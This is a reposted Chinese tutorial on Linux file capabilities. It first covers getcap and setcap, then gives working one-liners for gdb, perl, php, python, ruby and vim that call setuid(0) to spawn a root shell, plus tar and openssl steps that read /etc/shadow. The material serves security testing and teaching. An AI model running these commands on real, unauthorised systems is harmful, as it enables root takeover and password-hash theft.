Linux中怎么利用Capabilities实现权限提升
本篇文章给大家分享的是有关Linux中怎么利用Capabilities实现权限提升,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
成都创新互联从2013年成立,先为安吉等服务建站,安吉等地企业,进行企业商务咨询服务。为安吉企业网站制作PC+手机+微官网三网同步一站式服务解决您的所有建站问题。
(一)Linux Capabilities管理
1、 Linux系统管理Capabilities的工具
Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。
libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。
2、 Capabilities的管理方法
(1)设置Capability
举个例子,安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。
为解决此问题,可以为/usr/bin/dumpcap文件授予抓包相关的capabilities:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
命令执行后重新启动wireshark,就可以抓包了。
(2)查看文件的Capability
getcap /usr/bin/dumpcap //查看文件的capabilities
(3)删除文件的capabilities
setcap -r /usr/bin/dumpcap
(二)利用Capabilities实现权限提升
现在假设管理员对一些可执行文件设置了capabilities。测试人员通过下面的命令查找这些文件:
getcap -r / 2>/dev/null
之后我们针对其中的一部分程序尝试提权。
请大家注意,从上面查找结果中可以看到,很多文件的capability被设置为cap_setuid。但是文件capabilities中的cap_setuid和文件的suid标志位之间是没有关系的:
设置了cap_setuid的capability的文件并没有设置suid。
设置了suid的程序也不拥有cap_setuid的capability。
1、 gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
提权成功,获取了root shell。
2、 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
提权成功,获取了root shell。
3、 php
php -r "posix_setuid(0); system('/bin/sh');"
在kali linux上提权成功,获取了root shell。
在CentOS 7系统中安装的低版本php无法提权:
4、 python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
提权成功,获取了root shell。
5、 ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
提权成功,获取了root shell。
6、 rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
执行后获取root shell:
7、vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
执行后获得root shell:
8、 tar
cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查。
利用此特性我们可以读取系统中的敏感信息。
tar cvf shadow.tar /etc/shadow //创建压缩文件
tar -xvf shadow.tar //解压缩
cd etc //进入解压缩的目录
chmod +r shadow //赋予读权限
cat shadow | grep root //查看shadow文件的内容
这样就读取了/etc/shadow文件的内容,zip等程序也可以达到相同的目标,过程不再赘述。
9、 openssl
可以看到,openssl的capability被设置为空。下面我们尝试使用openssl读取/etc/shadow文件。
//使用openssl生成证书
cd /tmp
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
//启动web服务器,监听1337端口
cd /
openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
//访问本机的web服务,读取/etc/shadow文件
curl -k "https://127.0.0.1:1337/etc/shadow"
以上就是Linux中怎么利用Capabilities实现权限提升,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注创新互联行业资讯频道。
分享名称:Linux中怎么利用Capabilities实现权限提升
URL地址:http://ybzwz.com/article/pesjss.html